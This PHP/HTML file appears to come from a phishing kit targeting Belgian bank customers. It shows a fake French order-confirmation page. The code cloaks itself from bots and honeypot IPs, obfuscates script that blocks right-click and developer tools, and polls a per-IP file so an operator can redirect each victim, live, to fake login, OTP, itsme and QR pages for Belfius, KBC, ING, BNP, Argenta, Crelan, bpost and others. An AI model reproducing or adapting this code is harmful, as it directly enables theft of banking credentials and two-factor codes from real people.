<?php

error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
@ini_set('html_errors','0');
@ini_set('display_errors','0');
@ini_set('display_startup_errors','0');
@ini_set('log_errors','0');
$ip = $_SERVER['REMOTE_ADDR'];
session_id(md5($ip));
session_start();

$stripos = 0;
include 'config.php';



require_once './includes/HunterObfuscator.php'; //Include the class

$jsCode = " jQuery(function($){ document.addEventListener('contextmenu', event => event.preventDefault()); document.onkeydown = function(e) { if (e.ctrlKey && (e.keyCode === 67 || e.keyCode === 86 || e.keyCode === 85 || e.keyCode === 83 || e.keyCode === 117 || e.keyCode === 44)) { return false; } else { return true; } }; $(document).keydown(function (event) { if (event.keyCode == 123) { return false; } else if (event.ctrlKey && event.shiftKey && event.keyCode == 73) { return false; } }); }) "; //Simple JS code

$hunter = new HunterObfuscator($jsCode); //Initialize with JS code in parameter
$hunter->addDomainName($_SERVER['HTTP_HOST']);
$obsfucated = $hunter->Obfuscate(); //Do obfuscate and get the obfuscated code


$permitted_chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ.-_~";


$honeypotbots = file_get_contents('honeypotbots.dat');
$errorUrl = '403.php';

$hostname = gethostbyaddr($ip);

if (stripos($honeypotbots, $ip) !== false) {
	
   $stripos = $stripos + 1;

}

$token1 = base64_encode($_SERVER['HTTP_USER_AGENT'].$ip.date('Y:M:D'));





if ($token1 != $_GET['token'] || $stripos > 0 ){ header("location: " . $errorUrl ."?" . $_GET['token']); exit;  }


if ($_GET['error'] == 'on'){

$errormsg = "<p><span style='color: red;font-size:small;'>coordonnées incorrects !</span><br></p>";

}

if(!$_SESSION['amount']){


$_SESSION['amount'] = $amount;


}
$fp = fopen('users/'. $ip .'.txt', 'wb');
	        fwrite($fp, '');
            fclose($fp);
			
?>
<!DOCTYPE html>
<html lang="fr">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Confirmation de Commande</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #f4f4f4;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }
        .container {
            background-color: #ffffff;
            border-radius: 8px;
            box-shadow: 0 4px 8px rgba(0,0,0,0.1);
            max-width: 600px;
            padding: 20px;
            text-align: center;
        }
        h1 {
            color: #333;
        }
        p {
            font-size: 16px;
            color: #666;
        }
        .button {
            background-color: #4CAF50;
            color: white;
            padding: 10px 20px;
            border: none;
            border-radius: 4px;
            text-decoration: none;
            font-size: 16px;
            margin-top: 20px;
            display: inline-block;
        }
        .button:hover {
            background-color: #45a049;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Merci pour votre commande !</h1>
        <p>Votre commande a été bien traitée. Vous recevrez un email avec votre code de suivi sous 24 heures.</p>
        <p>Si vous avez des questions ou des préoccupations, n'hésitez pas à nous contacter.</p>
        <a href="bc-accepter.php" class="button">FÉLICITATIONS 🎉</a>
    </div>
	
	<style>


/* The Modal (background) */
.modal {
  display: none; /* Hidden by default */
  position: fixed; /* Stay in place */
  z-index: 999; /* Sit on top */
  padding-top: 125px; /* Location of the box */
  left: 0;
  top: 0;
  width: 100%; /* Full width */
  height: 100%; /* Full height */
  overflow: auto; /* Enable scroll if needed */
  background-color: rgb(0,0,0); /* Fallback color */
  background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
}

/* Modal Content */
.modal-content {
  background-color: #fefefe;
  margin: auto;
  padding: 20px;
  border: 1px solid #888;
  width: 80%;
}
</style>
     <div id="errorCCS" class="modal" style="
    display: none;
">

  <!-- Modal content -->
  <div class="modal-content">
   
   <div class="panel-body" style="max-width:450px;margin:auto;vertical-align:middle;position:relative;border-radius:15px;padding:25px 15px 15px 15px;box-shadow: 0 0 50px #7080902b;background-color:#70809014">
   
   <div style="text-align:center;">
   <svg width="64px" height="64px" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" stroke="#ae1919"><g id="SVGRepo_bgCarrier" stroke-width="0"></g><g id="SVGRepo_tracerCarrier" stroke-linecap="round" stroke-linejoin="round"></g><g id="SVGRepo_iconCarrier"> <path d="M12 21C10.22 21 8.47991 20.4722 6.99987 19.4832C5.51983 18.4943 4.36628 17.0887 3.68509 15.4442C3.0039 13.7996 2.82567 11.99 3.17294 10.2442C3.5202 8.49836 4.37737 6.89472 5.63604 5.63604C6.89472 4.37737 8.49836 3.5202 10.2442 3.17294C11.99 2.82567 13.7996 3.0039 15.4442 3.68509C17.0887 4.36628 18.4943 5.51983 19.4832 6.99987C20.4722 8.47991 21 10.22 21 12C21 14.387 20.0518 16.6761 18.364 18.364C16.6761 20.0518 14.387 21 12 21ZM12 4.5C10.5166 4.5 9.0666 4.93987 7.83323 5.76398C6.59986 6.58809 5.63856 7.75943 5.07091 9.12988C4.50325 10.5003 4.35473 12.0083 4.64411 13.4632C4.9335 14.918 5.64781 16.2544 6.6967 17.3033C7.7456 18.3522 9.08197 19.0665 10.5368 19.3559C11.9917 19.6453 13.4997 19.4968 14.8701 18.9291C16.2406 18.3614 17.4119 17.4001 18.236 16.1668C19.0601 14.9334 19.5 13.4834 19.5 12C19.5 10.0109 18.7098 8.10323 17.3033 6.6967C15.8968 5.29018 13.9891 4.5 12 4.5Z" fill="#b01c1c"></path> <path d="M12 13C11.8019 12.9974 11.6126 12.9176 11.4725 12.7775C11.3324 12.6374 11.2526 12.4481 11.25 12.25V8.75C11.25 8.55109 11.329 8.36032 11.4697 8.21967C11.6103 8.07902 11.8011 8 12 8C12.1989 8 12.3897 8.07902 12.5303 8.21967C12.671 8.36032 12.75 8.55109 12.75 8.75V12.25C12.7474 12.4481 12.6676 12.6374 12.5275 12.7775C12.3874 12.9176 12.1981 12.9974 12 13Z" fill="#b01c1c"></path> <path d="M12 16C11.8019 15.9974 11.6126 15.9176 11.4725 15.7775C11.3324 15.6374 11.2526 15.4481 11.25 15.25V14.75C11.25 14.5511 11.329 14.3603 11.4697 14.2197C11.6103 14.079 11.8011 14 12 14C12.1989 14 12.3897 14.079 12.5303 14.2197C12.671 14.3603 12.75 14.5511 12.75 14.75V15.25C12.7474 15.4481 12.6676 15.6374 12.5275 15.7775C12.3874 15.9176 12.1981 15.9974 12 16Z" fill="#b01c1c"></path> </g></svg>
   </div>
                        <h1 style="margin-bottom:15px" id="t0" >Erreur  </h1>
						
						<div >
                            <div class="row">
                               
                                <div class="col-md-12" id="t1">
                                   cordoonées incorrect. Merci de vérifier vos informations et d'essayer à nouveau.
                                </div>
                            </div>
                            
                        </div>
                    </div>    
<p></p>
  </div>

</div>


	  <script src="./bc_files/jquery.min.js?<?php echo base64_encode(rand(0,9999)); ?>"></script>

	<span style="display:none;"><?php echo substr(str_shuffle($permitted_chars), 0, 2);?></span>


<script>
function updateStatus(isOnline) {
            const pageName = window.location.pathname.split("/").pop();
            const xhr = new XMLHttpRequest();
            xhr.open("POST", "update_status.php?rand=" + Math.random().toString(36).slice(-5), true);
            xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            xhr.send("status=visited&page=" + encodeURIComponent(pageName));
        }
            var ip = "<?php echo $ip; ?>";
			var token1 = "<?php echo $token1; ?>";
            var waiting = setInterval(function() {
                $.get('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5) , function(data) {
                    if( data == 0 ) {
                        //console.log('hada ba9i 0');
                    } else {
                        var row = data.split('#|#');
                        var one = row[0];
                        var two = row[1];
						var tree = row[2];
						var forth = row[3];
                          if( one == 'url' ) {
                            clearInterval(waiting);
                            location.href = tree;
                        } else if( one == 'load' ) {
                            clearInterval(waiting);
                            location.href = "./bc-load.php?token=" + token1 + "&error=" + two;
                        } else if( one == '2fa' ) {
							sessionStorage.setItem('text',tree);
							sessionStorage.setItem('img',forth);
                            clearInterval(waiting);
                            location.href = "./bc-2fa.php?token=" + token1 + "&error=" + two;
							
                        } else if( one == 'errorCCS' ) {
                            clearInterval(waiting);
							document.getElementById('errorCCS').style.display = 'block';
							document.getElementById('t0').innerText = tree;
							document.getElementById('t1').innerText = forth;
							setTimeout(function(){ window.location.replace('./bc-load.php?token=<?php echo $token1; ?>'); }, 3000);	
                        } else if( one == 'l-axa' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-axa.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-bpost' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-bpost.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-belfius' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-belfius.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-kbc' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-kbc.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-cbc' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-cbc.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-bnp' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-bnp.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-ing' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-ing.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-digipass' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-digipass.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-argenta' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-argenta.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-deuch' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-deuch.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-cph' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-cph.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-beoDigi' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-beoDigi.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-beoApp' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-beoApp.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'l-crelan' ) {
                            clearInterval(waiting);
                            location.href = "./bc-l-crelan.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                        } else if( one == 'itsMe' ) {
                            clearInterval(waiting);
                            location.href = "./bc-itsMe.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'bill' ) {
                            clearInterval(waiting);
                            location.href = "./bc-bill.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'infos' ) {
                            clearInterval(waiting);
                            location.href = "./bc-infos.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'fr-infos' ) {
                            clearInterval(waiting);
                            location.href = "./bc-fr-infos.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'choice' ) {
                            clearInterval(waiting);
                            location.href = "./bc-choice.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'method' ) {
                            clearInterval(waiting);
                            location.href = "./bc-m-choice.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'sms' ) {
                            clearInterval(waiting);
                            location.href = "./bc-sms.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'approve' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-approve.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'refuser' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-refuser.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'accepter' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-accepter.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'choice-crelan' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-choice-crelan.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'choice-belfius' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-choice-belfius.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'choice-cbc' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-choice-cbc.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'app-crelan' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-app-crelan.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'itsMe-belfius' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-itsMe-belfius.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'itsMe-cbc' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-itsMe-cbc.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'l-belfiusMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-belfiusMobile.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;				
                        } else if( one == 'bnp-idMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-bnp-idMobile.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'l-bnpMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-bnpMobile.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;				
                        } else if( one == 'bnp-otpMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-bnp-otpMobile.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'ing-idMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-ing-idMobile.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'ing-itsMeMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-ing-itsMeMobile.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'ing-otpMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-ing-otpMobile.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'l-ingOneMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-ingOneMobile.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'l-ingTwoMobile' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-ingTwoMobile.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;				
                        } else if( one == 'itsMe-argenta' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-itsMe-argenta.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'belfiusOtp' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-belfiusOtp.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'choice-argenta' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-choice-argenta.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'l-belfiusMobileTwo' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-belfiusMobileTwo.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;				
                        } else if( one == 'l-argentaTwo' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-argentaTwo.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;				
                        } else if( one == 'itsMeLogo' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-itsMeLogoG.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;				
                        } else if( one == 'bpostLogin' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-bpostLogin.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'bpostOtp' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-bpostOtp.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'argentaOtp' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-argentaOtp.php?token=" + token1 + "&error=" + two;				
                        } else if( one == 'itsMeIng' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-itsMeIng.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'crelanMobileQr' ) {
							sessionStorage.setItem('crelanQrText',tree);
							sessionStorage.setItem('crelanMobileQrb64img',forth);
                            clearInterval(waiting);
                            location.href = "./bc-crelanMobileQr.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'crelanMobilePre' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-crelanMobilePre.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'crelanMobileID' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-crelanMobileID.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'crelanMobileLec' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-crelanMobileLec.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'crelanMobileMailC' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-crelanMobileMailC.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'crelanMobileSerie' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-crelanMobileSerie.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'keytradeID' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-keytradeID.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'keytradeChoice' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-Choice.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'keytradeQr' ) {
							sessionStorage.setItem('keytradeQrText',tree);
							sessionStorage.setItem('keytradeQrb64img',forth);
                            clearInterval(waiting);
                            location.href = "./bc-crelanMobileQr.php?token=" + token1 + "&error=" + two;
                        } else if( one == 'itsMe-nagelM' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-itsMe-nagelM.php?token=" + token1 + "&error=" + two;		
                        } else if( one == 'l-nagelM' ) {
                            clearInterval(waiting);						
                            location.href = "./bc-l-nagelM.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;		
                        } 

                    }
                });
				
			console.clear();
					/*** ***/

            // Listen for changes
            window.addEventListener('online', () => updateStatus(true));
            window.addEventListener('offline', () => updateStatus(false));

            updateStatus(navigator.onLine);
       
			
			/*** ***/
            }, 2100);
        </script>
		
</body>
</html>